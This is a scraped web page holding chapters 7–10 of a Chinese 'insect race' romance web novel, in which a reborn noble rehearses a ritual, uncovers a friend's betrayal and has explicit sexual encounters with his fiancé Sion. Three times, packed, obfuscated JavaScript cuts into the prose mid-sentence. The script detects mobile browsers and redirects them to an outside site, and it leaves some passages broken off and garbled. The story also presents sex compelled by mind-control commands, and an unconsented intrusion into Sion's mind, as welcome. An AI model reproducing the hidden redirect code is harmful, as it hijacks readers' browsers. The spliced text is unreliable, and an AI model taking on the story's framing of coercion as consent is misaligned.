《虫族之强制匹配》 7. 我的才能 见完老师,我在房间用了午餐,又睡了午觉。起来后洗了澡换了衣服,去圣廷侧殿。 今天下午,祝祷仪式开始正式彩排。 贝卓和其他参加仪式的枢机主教都有出席,主要商讨仪式当天分工和流程细节。 阿尔托利极度厌烦规章流程和繁琐日常,拒绝出席圣廷绝大数的例会和晨祷,因此没有虫敢去催他,只通过光脑发了彩排方案。 这也是我迟到的原因。身体习惯太难改,半小时午睡哪怕订了闹钟,一不小心还是变成了一小时。 等我急急忙忙赶去时,正对上他们一同释放祝祷术。 贝卓立于中央,其他雄虫依次向两排散开。他们只释放了最小量的精神力,但凝聚而成的精神力光辉已有些刺眼。 金色淡光如一层薄纱从圆形穹顶缓缓落下,配合着圣廷学徒宛如天籁之音的圣歌吟诵声,显得无比高洁、神圣。 看到我出现,虫群一阵骚动,仔细瞅瞅,其中几个根本不掩饰满脸惊愕,好像看到了什么幽灵。 “阿尔托利殿下。” 仪式刚一结束,贝卓便着急忙慌地找到正在长椅上休息的我。 “您怎么过来了?需要什么,您发信息就好,我一定尽快为您办好。” 贝卓是老师从雄虫保育院抱回来的孤虫,从小到大对我态度都恭敬得过分,一点也没有当我对手(教宗之位)的自觉。 阿尔托利一向不待见他,认为那张笑脸太虚伪、性格太懦弱,偶尔又会阴谋论,觉得贝卓一定藏着什么大阴谋。 “不要‘您’啊‘您’的。我比你还小呢,也不要叫殿下,叫我名字就行。” 我示意他坐到旁边的空位上。 “这不太好吧?”贝卓不安道,在我坚持的注视下,犹豫了半晌,才坐了下来。 “阿尔托利。”我看着他,坚持道。 “……”贝卓沉默了一会,终于认输,“阿尔托利。” “这才对嘛!”我赞赏点头,“我听老师说了,感谢你的好意。但这次仪式,我想亲自为出征的军雌们出份力。” 贝卓从来不擅长隐藏他的表情。 所以我知道他真的很吃惊。非常吃惊。比刚才在台上看到我突然出现还吃惊。 “……您……是认真的?” 他瞪大眼睛,忍了又忍,还是没忍住。 “当然。”我表现得格外轻松,“我不明白的是,你怎么会有‘代行者’的主意?以我对你的了解,你和老师一样讨厌它。” “是莱依。”贝卓说出我意想之中的名字。 “他昨天找到我,给了我如此建议。我的确不赞同‘代行’,但你懂得,有时候它的存在是有一定道理的。” 话说的这么委婉,语气却没那么坚定,想也知道“有一定道理”是莱依用来说服他的。底层逻辑,当然是阿尔托利无法应对这么大场面。代行虽然可耻,但很有用。 前提是一切顺利,没虫发现。 这是莱依的报复。报复上次意外中我的不作为。 现在想来,他就是这样的性格。 不管去哪里、做什么,都想成为众人关注、奉承的中心。 若有虫让他不如意、或挡了他的道,他则会根据对方的身份地位来“还击”。 小到说话时阴阳怪气、当众让他人出丑难堪,大到挑拨离间、祸端四引,葬送他人的前途甚至性命。 阿尔托利曾将之归结为贵族皇子不加掩饰的真性情,虽然不很喜欢,但也算纵容。 毕竟,他没有年龄相仿的朋友,也很少被人依靠、撒娇。 那种新奇的体验和互换的角色让他着迷,他就这样一叶障目地被骗了多年。 上一辈子,我接受了莱依和贝卓的好意,舒舒服服地完成了祝祷仪式,以为就此平安过关。 却没想到这个秘密好几年后被虫卖给了一家著名的八卦报纸。 那时西恩在普兰巴图一战中受了重伤,亟需通过与雄虫深度结合来治疗。 全国上下都期望阿尔托利履行婚约,拯救他们的英雄。 但阿尔托利拒绝了。他当众撕毁婚约,扬长而去,做了背信弃义的小人。 又在第二天,被爆出代行丑闻。 于是阿尔托利为真爱抗争的行为,变为了他根本没能力救西恩、懦弱到临阵脱逃的证据。 星网舆论炸了。 阿尔托利的声望自此一落千丈。 圣廷内部,除了老师,没虫愿意和我说话。 …现在回想,一切都有迹可循。 我彻底和萨提洛斯家翻脸时,实则并不知道西恩伤重。 两件事有个几天的时间差。 代行也不是因为我做不到,纯粹是犯懒不想弄。 我自认犯了错,却没有媒体说的那样罪该万死。 那段时间,我很消沉。也是那个时候,我和莱依的友情突飞猛进。 几个月不分日夜的聊天,我将他从“需要关照的晚辈”,划进了“值得信赖的朋友和家人”名单。 现在,我知晓了隐藏其后的黑手。 不是别人,而是不知何故,对我存有深深恶意的莱依。 是我太过大意。 这个错误我不会再犯。 “从今天起,我会按时参加祝祷仪式的一切日程安排。只是我第一次做这么大规模的术法,没有任何经验,整个事情还是要麻烦你多为我操心。” 我诚恳说道,末了又加了一句:“等这事结束,我请你去吃超美味大餐。保证好吃到流眼泪。” “那不知我有没有这个荣幸,也一起去呢?” 贝卓还没回答,一个声音横插进来。 我转头朝一侧看去,正对上穿着一身军服的某雌虫调侃又揶揄的目光。 “萨提洛斯少将。” “殿下。” 贝卓和西恩互相行礼。我本想趁他们问候时溜了,刚刚迈出一步,就被某虫从后面拽住了胳膊。 “阿尔托利,你还没回答我。” “…………”我被迫转身,以沉默对抗。 西恩瞥了一眼在场第三虫。 “……我、我先走了,你们慢慢、慢慢聊。”贝卓很有眼色,毫不犹豫地直接离开。 好歹是个圣职者!怕什么?!我恨铁不成钢地看着他的身影消失。 “阿尔托利,只是亲了一下,又不是强x,至于反应这么大?” 我深吸一口气,只能收回视线,转过头来,瞪着身边口出狂言的某虫,试图用目光在他身上钻出个洞! 冷静,冷静。 阿尔托利,你不是二十一岁的愣头青了。不要其他虫一挑衅,就傻傻地扑上去咬饵。 比起被这点话激怒,平静才是最好的反应。 我瞪着西恩的眼神慢慢从狠厉变得平和,又从平和转为友好。 与此同时,我脑中浮出多年后在床上和他的那些事…… “西恩,我和你不一样,不喜欢被强迫。”我抱起双臂,弯起嘴角,斜眼瞟他。 “什么?”品出我语中暗指,雌虫果然脸色一变,身体也僵硬起来。 “别装了。我都知道。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406666|153482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 多日来的不爽似乎终于找到了发泄渠道。 我趁势向前,步步紧逼,反守为攻,将西恩挤进了隐在灌木丛间的狭窄小道。 “我们萨提洛斯少将——”我压低声音,伸手撑在他脸侧的石壁上。 因为身高差距,这姿势有点别扭,但就算是仰视,我也有气势绝不输虫的自信。 “虽然看上去桀骜难驯、清高冷淡,好似根本瞧不上任何雄子。” “但其实,你和其他雌虫一样。” “想要臣服、归属,想要从痛苦中得到快乐。” 雌虫英俊的脸蛋变得苍白,冷峻的唇线微微颤动,一向沉稳、密不透风的绿眸,罕见地刮起了一股混乱的风。 “换句话说……” 我趁势追击,捕上最后一击。 “——你需要一个绝对的主人。” “而我,有做你主人的才能。你正是看到了这一点,这么多年,才对我痴缠不休的,不是吗?” “阿尔托利……你……” 西恩用嘶哑的声音低喃,目光十分复杂。 就当我以为他要服软时,他略有松动的唇线忽然一垂,再次变得硬直、冰冷: “哈哈你?当我的主人?”他讥讽道,似乎我刚讲了个绝妙的笑话。 我仿佛没有听到他的不屑,转而直接拉起他垂在身侧的手,将其放到我的左胸口。 “……可以哦。” 我双目灼灼地注视着他,用我这十几年淬炼出的平静、耐心和包容,将他的攻击全部收下。 “你想要的,我都会给你。” “…………” “…………” “…………” “……你在……胡言乱语些什么……” 终于,西恩的表情渐渐褪去锋锐。他率先撇过脑袋,断掉我们的视线对战。 他同时试图推开我,似乎想要离开这里,但他的力气小得出气,比起被冒犯的愤怒,更像是难为情下的掩饰。 “蠢货,你脑子进水了……” 讥讽变成咒骂,咒骂又转为低喃。 【跪下。】 我双眸一沉,冷若冰霜的声音附着精神力,从喉中发出。 话音落地的下一瞬,身材高大的雌虫双膝着地、轰然下跪。 他的身体能看出几丝僵硬别扭,动作却偏偏干脆利落地让虫咋舌,好像他一直在等这一句命令。 “……阿……尔……托利……” 咬牙切齿的声音,从垂下的黑发间传来。 【安静。】 又一个词语从舌尖跳出。西恩一个音节都发不出来,只能徒劳地张着嘴巴喘气,看上去无比狼狈。 圣言之力,我三项精神力天赋里最突出的一项。 B级及以下的雌虫毫无抵抗之力。但我没想到,对S级的西恩也这么给力。 毕竟我们实力差挺大。这是客观存在的事实,我不觉得丢人。 我屈膝在他身前蹲下,伸出胳膊,将他下巴从另一侧掰向我这边。 ……如果目光能杀人,我现在恐怕已碎尸万段。 但事实上,它不能。 所以我格外愉悦地观赏着黑发雌虫,看他冷峻如霜的面孔扭曲,看屈辱和愤怒染红他的长眸,也爬上他的眼角和脖颈。 诶,等等,那是什么? 眼角余光捕捉到某个东西。我下意识地探出另一只手,触碰了上去。 很大,很硬,很……热。 “不……不会吧……这……就……” 我真的震惊。 8. 精神图景 呃,依我上辈子的经验,几乎所有雌虫都喜欢雄虫用【圣言】命令他们,但西恩我一直觉得是个例外。 我试过几次,他一如既往的反应平平。 想着他的自尊心,我一般很少用。 但现在,才两个简简单单不含一点欲望的普通命令…… 这……明显不是啊。 一道冷冰冰的杀气划过我的面颊。 我将视线转回来,刚想继续调侃两句,嗓子里的惊叹却噎在那里出不来了。 卧槽! 西恩脸红了!! 大名鼎鼎的杀神、堪称TOP1面瘫脸、遇事绝不慌张永远冷静以待的萨提洛斯少将脸红了!!! 还是那种红晕爬满整个面庞,仿佛煮熟大虾一样的程度。 明明他还是那个姿势、还是那般高大强壮,但此时此刻,他却显得十分狼狈,处处都是可以再进一步的空隙。 察觉到我的注视,他直接将脑袋扭成了90度,强硬地和我的手指做对抗,好像恨不得马上开个地缝钻进去,消失得无影无踪。 ……… ………… 太犯规了吧! 太可爱了吧! 看到这一幕,重生以来的愤懑在这一刻烟消云散。 我忽然了悟,之前每次见到他的不爽从何而来。 过去十年,不管嘴上如何讲,又如何闹莫名脾气给我臭脸,实际上,西恩永远站在我这边、给予我支持与保护、以我意志为第一。 (更别说那种时候他脸皮格外薄,几句下流话就能换来好大反应……可太满足我作为雄虫的虚荣心了。) 细想起来,比起科尔,在我内心深处,我最信任的虫其实是他。 也因此,我无法接受通讯视频里冷嘲热讽、餐厅里评估衡量的目光、训练所里他顾我意愿的强迫,以及种种试探。 身体仿佛有了自己的意志。 不知不觉中,我已将他整个搂在怀中。 我低下头,咬住那袒露在我眼前的麦色脖颈,如愿以偿地品味到了那个气味。 那个属于我的萨提洛斯少将的味道。 大量的信息素挤进我的鼻腔,口腔里的津液变得粘稠,心跳不断加快,血液急速流动,全身的皮肤,都无法抑制地开始燃烧。 熟悉的律动,在让我快速兴奋的同时,也带给我难以言喻的安全感和充实感。等到我回过神来时,我已经扯开了西恩的外套和衬衫。 “呃……啊……” 一向高高在上、睥睨众人的雌虫瘫软在地。黑发凌乱、双眼迷茫,嘴唇微张。 “不要吗?那我停手?” 体内的恶劣因子开始作祟。 我狠狠掐了一下,又将唇覆上去,故意制作出让虫脸红心跳的响声。 “又不是强x,反应怎么这么大?” 我重复着某虫刚刚的话语,满意地看到一缕悔意和羞愧悄悄爬上西恩的眼底。 啊啊啊,虽然我对自己这方面能力很有自信,但是看这反应,西恩果然是清醒的。 或者说,远没有他表现出来的“无能为力”。 他很享受,且想要更多。 那个“不”,不过是仅存的一点点自尊和惯性,提醒他此时发生的一切,都不应该。 可什么是应该的? 他是我的未婚夫,他众目睽睽之下强吻我,他要求我给他“面子”—— 那我便满足他。 给他回答。 让他知道,这不是我和科尔吵架中的心血来潮,也非某殿下的什么阴谋诡计。 他需要的,我有能力、且愿意给他。 ——这是我的“诚意”。 我俯在他耳边,下了命令。 【吻我。】 狂风暴雨般的吻,让我始料未及。 仿佛野兽,凶狠残暴,满是掠夺。 不知何时,西恩的那双大手已紧紧锢住我的头。他的脸贴过来,一刻不停歇地撕咬我的嘴唇、侵犯我的口腔。 心脏在胸腔里鼓动,交错的呼吸合成伴奏,喘息分离的片刻,我得以窥探那双近在咫尺的绿眼睛。和他动作的蛮横粗鲁相比,雌虫的眼神在高涨的情yu间,还充斥着一种莫名的痛苦。 饱含着思念、又满是瑟骨的寂寥与憎恨;充斥着希望,又恐惧着不安。 下一刻,他再次拉近我,狠狠的吻下去。绿色消失了,但痛苦依然存在,仿佛从相贴的皮肤浸透而出,刺痛了我的眼睛。 为什么会有这种眼神? 还是那仅是我的错觉? 我手上用力,西恩低哼一声,不得已中断了他野兽吞食般的吻。他喘着粗气抬头,绿眸蒙着一层薄雾,神思恍惚地盯着我。 【乖孩子。】 我安抚性地摩挲着他的腰腹,光滑紧致的皮肤下,是强壮有力的肌肉。 它们带给我一种无法形容的温暖和柔软。 西恩的脸埋在我的臂弯里,因为这句夸奖发出满足的叹息。 如果说刚刚雌虫还保有一点理智,那么现在他已然沦为本能的奴隶。 虫族两性,如果说雄虫是天生的掌控者、主导者、虐待狂,那么雌虫便是对应的依附者、臣服者、被虐狂。 越是强大的雌虫,却渴望臣服。他们一直在寻找能让自己心甘情愿跪下的主宰,为此不惜献上一切。 《光辉之书》里,有那么一章,专门论述了这点差别。 年少时我被那些复杂的章节、字句绕得头晕,唯独这章,记得很清楚。 这也是虫族社会结构如此畸形,却维持了近万年的重要原因。 当然了,再稳固匹配的两性关系,也会有变化的一天。 很不幸的,我正站在这一巨大历史变革的十字路口。 【打开。】 【展示。】 我连下两个命令。简单的词语,含义却不容置疑。 这是雄虫和雌虫间的特定词组。 西恩瘫软着。他咬住下唇,依命令而行,脸和胸膛因压制着声音而泛红扭动。 我张开手指,握了上去。 西恩的呼吸变得急促。他发出一种窒息般的声音,将额头抵上我的额头。我们的身体紧贴在一起,他扭动起来,在我身上摩擦。 “该死,西恩。”我低吟着,在他又一个灼热的吻中吞下这句话。 没过多久,我也变得气喘吁吁。我看到一滴汗滚过他的颈动脉,突然很想知道那是什么味道,便舔了上去。 西恩身体绷紧,发出一声高昂、颤抖的低吟,几乎同一时刻,我手上一热。 抓住机会,我分出一股精神丝线,猛地扎入了他的精神图景。 “呃————!!!” 西恩发出一声高亢的呻吟,强壮的身体猛地跳起,眼看着就要掀翻我时,他又突然瘫软了下去。 他眼瞳扩大,喉结滚动,发出喝喝气音,肌肉绷成小山,却偏生一个指头都动不了。 不打招呼就入侵他虫精神图景这事,我也好久没做了。 幸运地是,战争年代,这快被练成我的本能了。 在西恩的精神海卷起一阵凶残海浪,试图击退入侵者时,我已经调虎离山,用另一股精神丝线,穿过那些陷阱和障碍,从他的薄弱处直越海面,扑向坚实的核心。 雌虫不擅精神力。 但高等军雌,为了作战,都将自己的精神海淬炼得无比凶残,用以防止虽稀少但确实有、来自雄虫的精神力攻击。 如果不是我对他的精神图景太熟悉,熟悉到仿佛进自家大门,就以西恩刚才那一下的反击,我躺在床上十天半月都算幸运的。 重生真是给了我作弊的金手指。 即使如此,我也不敢托大。 雌虫情欲激昂时,防守最为薄弱。 为了降低难度,我只能选择眼下的场景作为切入时机。 还好成功了。 我站在沙滩上,环顾着触目所及的一切——即西恩的精神图景。 这是一个小岛,不是很大。汹涌澎湃的海洋围绕四周,占了图景内约4/5的空间。 铺展开的精神力反馈出如此事实。 符合我的记忆。 虫族从幼年开始,和身体成长同步的另一件事,便是大脑精神核的发育。 精神核是精神力的来源。幼虫们需要做的,便是用逐渐壮大的精神力,一步步构建完善自己的精神图景。 精神图景是虫族对具象化意识世界的称呼,它是一个确然存在的意识空间。 每只幼虫自诞生起,便会被教导视觉化自己的意识世界。这个过程即被称为精神图景的构建。 精神图景最外围通常都会被构建为波涛汹涌的大海,负责警戒防卫,抵御入侵者。 被海环绕的,则是核心区域的精神拟像。 这里象征着每只虫的自我,最为私密和脆弱。大部分时间是坚固稳定的。 西恩选择的拟像便是一座枝叶繁盛、郁郁葱葱的小岛。 我早就知道,所以没有意外。但让我惊讶的,是这里的状况。 小岛植被丰盛,溪水潺潺,不时还有鸟兽窜过。但在一片蓬勃向上的生命力里,我感知到了破败、阴冷和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一些不想回忆的记忆飘过,我摇头,拒绝深入。 不管西恩是因为什么原因,引发了狂化的苗头,以我和他现在的关系,我都无从得知。 我只要做好我的本职就可。 念及不久前嘴唇品尝到的美味,我开始催发精神力,为这只雌虫做免费清理及治疗。 我的诊费……可是很贵的。 就当是小小回礼吧。 ………… ………… 我搀扶着西恩在花园亭子中坐下。 他还陷入昏睡中,我辛苦摆弄了许久,才让让他的胳膊腿听话地各归各位,身体在柱子上找到合适的受力点。 只要经过的侍从不当面细看,就会以为萨提洛斯少将在这纳凉休憩。 在这之前,在那逼仄的通道内,我用沾了喷原水的手帕给他清理了腿上的狼藉,又尽可能地将他的衣饰恢复原状(掉的那两颗衬衫扣子实在是找不到了)。 足够绅士了吧。 随后我叫来哈勒,嘱咐他一小时内都不要让虫打扰西恩,便脚步轻快地回了寝殿。 西恩是高等军雌,再加上他那完全不算小病小痛,给他做这通治疗,将我累了个半死。 我回去倒头就睡,一觉睡到第二天中午,然后被噩梦惊醒。 心情瞬间差到极点。 还好今天是圣廷休息日,我拉起被子,试图再次用睡眠消解低沉情绪。 结果嘛……的确是消解了。 因为我做了好几个春梦。 主角无一例外,都是西恩。 我黑着脸在清理室自己洗内裤。让侍从来?我还丢不起这个脸。 成年雄虫因为饥渴到梦x,简直就是奇耻大辱。更何况当事虫是还是从不缺雌虫的阿尔托利。 仔细想想,今早的狼狈其实有迹可循—— 我重生回来这么久,竟一次都没有做过。 精神上我早就习惯了,可这具健康年轻的身体不行。 一夜七次郎是夸张了,删一半就很正常。 当年科尔和我进展那么快,现在想想,和这有很大关系。 也许应该听拉格他们的建议,办一场小聚会,小小放松一下? 被关键字触发的鲜活记忆扑面而来。一张张面容格外清晰。 然而很快,年轻版阿尔托利寻欢作乐的画面和另一些画面交叠。 不同的是,受虐哭喊的双方做了调换。 高高在上的雄虫殿下衣衫被扯到破烂,一只只哭得撕心裂肺,被雌虫们拖入阴暗角落…… 好一个虫间炼狱。 下一刻,胃部被一只手狠狠搅动。 我撑着清理台开始作呕。 我吐了出来。 聚会是绝不可能再办了。 旺盛的精力要如何解决? 唔,这是个问题。 9. 战略伙伴 天刚蒙蒙亮。 我已在圣廷后苑小花园内跑完了第五圈。 五圈……如果算上我从寝殿过来的路途,满打满算不过3公里。 却已让我汗如雨下,撑着膝盖在角落大喘气。 “……太弱了吧……” 我翻看着终端上的运动数据,苦脸哀嚎。 不是,怎么说我也断断续续去了训练场十几次了,怎么体能能差成这样? 离我一拳打飞一只军雌的目标差得让虫绝望。 我用手抓起汗湿的刘海,将它们全部扒拉到脑袋上,一边用毛巾抹汗,一边就近找了休息长椅坐下。 偷偷摸摸地自己训练,消减下过剩的欲望可以,却无益于我提升武力值。 我得调整下计划,正儿八经地给自己找个老师。 老师…… 这个词一跳出脑海,西恩的身影就也跟了出来。 上一世,我的那点三脚猫功夫全来自于西恩。 精确的时间点是革命爆发后,他有一阵子天天抓着我狠狠操练,其狠辣程度让我一度怀疑,他是否对我有私仇。 ‘哪有让雄虫自己动手的道理?’ 那会科尔一边给我按摩肌肉,一边说:‘他脑子就不正常!阿尔托利,你别练了。’ ‘我发誓,谁要伤害你,得先从我尸体上踏过!’ 呵呵。尸体踏过是有了。不过是我的。 我相信他那时说这时话一定是真心的。 可真心,是最容易变化的东西。 他和莱依的背叛,为我的噩梦增添新的内容,同时,也让我失去了最重要的东西。 我已无法再信任任何虫。 而独身一人,背负秘密,就如背负大山。 不过短短月余,我已经有些喘不过气。 上辈子的阿尔托利,年轻气盛,不知恐惧为何物,以为宇宙主宰会一直垂怜自己。 他是一无所知地被时代洪流裹挟着向前走。 我呢…… 明知一步错便落无尽深渊,又该如何拯救自己、拯救他人,拯救这个帝国? 我盯着自己的手心,思绪已经飘远。 ——“是谁在那边?!” 一道低沉冷厉的声音将我扯回现实。 等我回过来神来,西恩已经穿过灌木丛,从不远处一脸警惕冷地打量着我。 我们目光在半空相遇。 他脸上的神情变得没那么冷厉了,但依然算不上友好。 “阿尔托利?你在这里干什么?!” 呃,干什么?这还要问? 我翻了个白眼,运动鞋运动衣加上满身汗,A级军雌就这眼力劲? 再加上西恩一大早就神清气爽帅气端庄的气度,对比那次治疗带给我的后遗症(半夜洗床单×N),我更烦了。 没有得到回答的雌虫从我面前走过,当我以为他要离开时,他却倏地一个转向,一屁股坐到了长椅的另一端。 “……?” 好几分钟过去了,西恩一声不吭地气势汹汹。 这是要干什么?算账吗?! 唔,也不是不能理解。 以我们如今的关系,前几天那次,是我越界了。 哪怕我后来为自己找理由(为了救虫)开脱,也难以骗过自己。 明明已经重生了,那方面还是没太多长进,还是那般容易见色起意。 有那么多稳妥的其他方法进他精神图景,我却偏偏被欲望支配,光天化日之下脱了萨提洛斯少将的裤子。 不过话说回来,这家伙二十九岁时身材就这么好了? 穿衣服时还罢了,脱了没想到胸会那么大,后悔上次没多摸两把…… 停停停! 你个欲求不满的色鬼! 我暗骂自己。 又十分钟过去了。西恩还没开口,我却已经坐不住了。 “咳咳……我……” 我正打算胡扯两句应付应付赶紧走虫,某雌虫却突然开口了。 “阿尔托利,你最近变了很多。” “啊?” 我想我的声音一定很滑稽,因为西恩抬头直直朝我看来,眼神锐利,态度凛然,将满脑子黄色废料的我对比得格外猥琐。 “过去三周,你没有举行过一次派对,也没有和哪个侍卫鬼混。还有那个圣廷骑士,也没在你身边见到他。” “就连圣座也觉得你很古怪,说从没见过你如此安分守己。” “你……到底在打什么主意?” “怎么,我就不能自己待几天吗?还是说,非得我左拥右抱、夜夜笙歌,萨提洛斯少将才觉得舒服?” 好家伙,身材好也抵不过他这张臭嘴。 刚刚觉得他有点可爱,现在怎么看怎么欠扁。 “我不是那个意思。”雌虫否认。 “你就是那个意思!”我冷哼,斜眼眯他,“我说了要履行和你的婚约,便会说到做到,不碰其他雌虫。” “虽然你从没表现出来,但我知道,你可不是那种心胸宽大的雌君,能允许自己雄主处处留情。” 我知道自己这番发言听着很像某种爱的承诺。但实际上它不是。 它只是一种双方契约关系下的应尽义务。 既然罗森克洛伊和萨提洛斯已经结成了同盟,那我便该遵守契约,尽到自己的应尽义务。 如此一来,西恩才会保护我的利益。 我们才能真正互相信任,这次结盟,才能达到它该有的作用。 “…………” “西恩,我说这些不是为了向你讨回报。” 我受不了那落在身上的目光,装作轻松随意的模样四处乱瞟,似乎突然对这里的野草生出了兴趣。 “婚约的事,你也不必现在回答我。” “对了,还有上次那事,也是我不对……” 我开始支支吾吾,点到即止,希望他能马上GET我的意思,从而省去我的麻烦。 这两天晨跑时,我深刻反省了我的错误。 我干啥不好,干嘛非要和我为数不多可以信任的虫搞意气之争呢? 要改变圣廷和帝国的命运,挽回那些曾经从我指尖逝去的生命,我要做的事情太多太多。 那些事,不是说我多活十五年,就可以搞定的。 我需要帮手。 没有比西恩·萨提洛斯更合适的。 我们的利益高度一致,履行婚约后,更是会被牢牢绑死。 背叛我,对他没有任何好处。 更重要的是,我了解他的性格脾气,知晓他冷漠外表下的赤诚,也见过他最落魄的样子。 我深知,没有虫比他更坚韧、更难摧毁。 哪怕身处无边地狱,他的执着、他的渴望,也会将他带回人间。 从大局来看,如果嘴上吃点亏,服服软,就能得到这样一个有力帮手,那可真太划算了。 我们真的没有时间可以浪费了。 认清局势的我,心态转变的毫无负担。 而一旦脑子中厘清了,阿尔托利的伶俐口齿,就会发挥它的作用。 “你放心,以后没有你的同意,我绝不会再那样对你。” 我的头低得很低,看上去很像阿尔托利太过羞耻、不好意思,实则是为了掩盖我脸上的无动于衷。 如此低声下气,给足面子,够有诚意了吧。 快踩着台阶下吧。 真难搞,明明喜欢我那样对他,却还放不下少将阁下的面子。 不过没关系,我很善解人意。 “——实际上,我正想和你谈这件事。” 西恩终于开口,态度却比我想得严肃的多。 “那件事,我希望……在我出征前,可以继续。” “啊?” 我不会听错了吧。 我直勾勾地盯着眼前的雌虫,从头到脚将他打量了好几遍,再三确认刚刚给出惊悚发言的,的确是如假包换的西恩·萨提洛斯。 “阿尔托利,你既然进入过我的精神图景,那些情况,想必你也知道了。” 西恩态度坦然平静的让我感到反常。 根据我对他脾气的了解,以及这段时期阿尔托利和他的关系,前几天的偶然发现,最好就当没看见。 因为时年天之骄子的萨提洛斯少将非常厌恶雄子。尤其讨厌以阿尔托利为代表的贵族子弟。 让自己看不上的雄子抓到精神域有问题的把柄,那可堪比战败耻辱。 也许我目光里的疑惑太明显。 西恩不自在地抓了抓他那一头精心打理的短发,继续说道: “其实那些小问题放着不管也没什么……但普兰巴图一族太难对付。” “我希望出征前,让这具身体的体能和精神力,都达到最佳状态。如此,我的把握会多一些。” “当然,不会让你免费帮忙。” “我可以教你体术,传授你一些我的独门绝学。” “你觉得怎么样?” 以上几句,西恩说的可谓一个兼循循善诱,温和的让我疑虑更深。 “祝祷仪式上,我会施行光复礼。你精神域的问题,当然也会一扫而空。” “我看不出额外治疗的必要。” 这是我真实所想,并非我不知好歹,故意要和他对着干。 “……阿尔托利。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406668|153482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西恩微蹙剑眉,脸上虚假的温和消失了。 “你是真不懂,还是假不懂?” 他一把揪住我的衣领,气息可怖地逼近。 “光复礼和你的……圣言……” “是完全不同的东西。” 他咬牙切齿,双眼危险地眯起,似乎要在我身上扎出几个洞来。 如此近的距离,我连他的每根眼睫毛都看得见。 不是我说,西恩这家伙长得也太帅了吧。眉骨饱满、鼻梁挺直,唇型也很完美,上辈子的我是被猪油蒙了心吗? 放着这道豪华大餐不选,拼死要吃一盘农家小菜?难怪老师气急败坏地天天骂我脑子有病,我也想骂。 我被雌虫颜值暴击、陷入恍神状态。西恩却误会了。 他啧了一声,再次使劲,而我感觉脖子都要被他勒断了。 “我……我会变成这样,本就是你害的。” 西恩眉头紧锁,整张脸涨得通红。大滴汗水从额角渗出,拉着我的手臂竟在微微颤抖——不,那是全身的痛苦抽搐,传递到了每块细小的肌肉与筋膜上。 与此同时,我闻到了一股似曾相识的味道。 俊朗干净的木质气息,带着一股淡淡的橙花香和柠檬的清新,细闻,还有一丝香根草和焚香的味道,却并不沉重,反而很清透。 是西恩的信息素。 不是,好端端的,怎么这么浓? 浓郁的程度,早超过了过近的距离可以解释的范围。很像是雌虫情动—— 一只滚烫的手搂上了我的腰。 下一秒,西恩挺着颤抖的胸膛,长腿分开,用手撑着长椅,直接骑到了我的身上。 汗水蒸腾的热度朝我扑面而来。加上信息素的攻击,短短几秒,我也变得头昏脑涨、浑身无力,只能看着黑发雌虫自顾自地寻找着解脱。 宇宙的主宰,我说过,阿尔托利意志薄弱,很容易受环境影响。 热流从下升起,我反扣上西恩的腰,胡乱揉着,竟在裤子上摸到了一处湿热。 水? 意识到那是什么的下一秒,我脑中轰地一声! 几乎同时,哪怕隔着一层布料,我也能清晰地感受到那处地方,是怎么兴奋地向我逢迎。 “!” 我猛地推开西恩,向后退去。猝不及防,雌虫脊背撞到长椅,重心一歪,差点就要朝地上摔去。 我眼疾手快地挡了一下,阻止了这场悲剧。同时顺势又坐了回去,一只手不知往何处放,只能搭在椅背上,乍看很像抱着他。 …………尴尬。 西恩微低着头,汗水从眉弓流下。 许是刚才那一幕已让他颜面尽失,他紧紧抿着唇,一言不发。 汗水让他的头发和衬衫都湿透了,紧贴在他雄壮厚实的胸肌上…… 看起来好饱满,感觉一只手都拢不住…… 停! 我用手捂住脸,痛苦地将脑袋扭向另一边。 寂静。 死一般的寂静。 思绪纷繁。 在脑中快速复放刚才场景几次后,远去的理智又回来了。 我很快理解了西恩那番话的涵义,且对雌虫仿佛被夺舍一般的行为,做了分析、下了定义。 一个词—— 身不由已。 于是,我吸了口气,决定主动做打破沉默的一方—— “你目前的状况,我明白了。” 我顿了顿,用精神力感知了雌虫的气息正在慢慢平稳、且确认他不会暴起砍人后,才继续说道。 “我会帮你,咳咳,解决,咳咳……这个。” “交换条件,你教我体术。” “好。” 西恩的回复很低,但的确出声了。我赶紧抬手将脖子上的毛巾和旁边我脱下的挡风外套扔给了他。 悉悉索索声中,也不知西恩用了什么方法,信息素的味道渐渐淡了下去。 等我得到示意可以回头时,身边的虫裹着我的运动外套,拉链拉到最高,又恢复成了那个高冷臭脸的萨提洛斯少将。 “阿尔托利殿下,感谢你的理解。” “另外,关于贝卓主教代行的提议,我建议你最好拒绝。” “还有,宠溺晚辈不是不可以,但也要选择对象。我相信殿下如此聪明,应该不会像那愚蠢的农夫,非要到被咬那天才能醒悟。” “至于科尔·舒尔希……如果下次再让我看到他,呵。” 西恩挑起嘴角,冷酷一笑,杀意四溢,宛如刀锋。 “我会捏断他的脖子,将他那颗脑袋扔进塞拉芬深沟里喂狗。” “我说到做到。” 10. 将为过去式 无疑,我的选择很正确。 证据就是西恩离开小花园前说的那几句话。 代行的陷阱、怀有恶意的莱伊,以及图谋更多的科尔,他了然地看在眼底,且毫无铺垫的当面指出。 丝毫不讲究方式方法,却正是我现在最需要的。 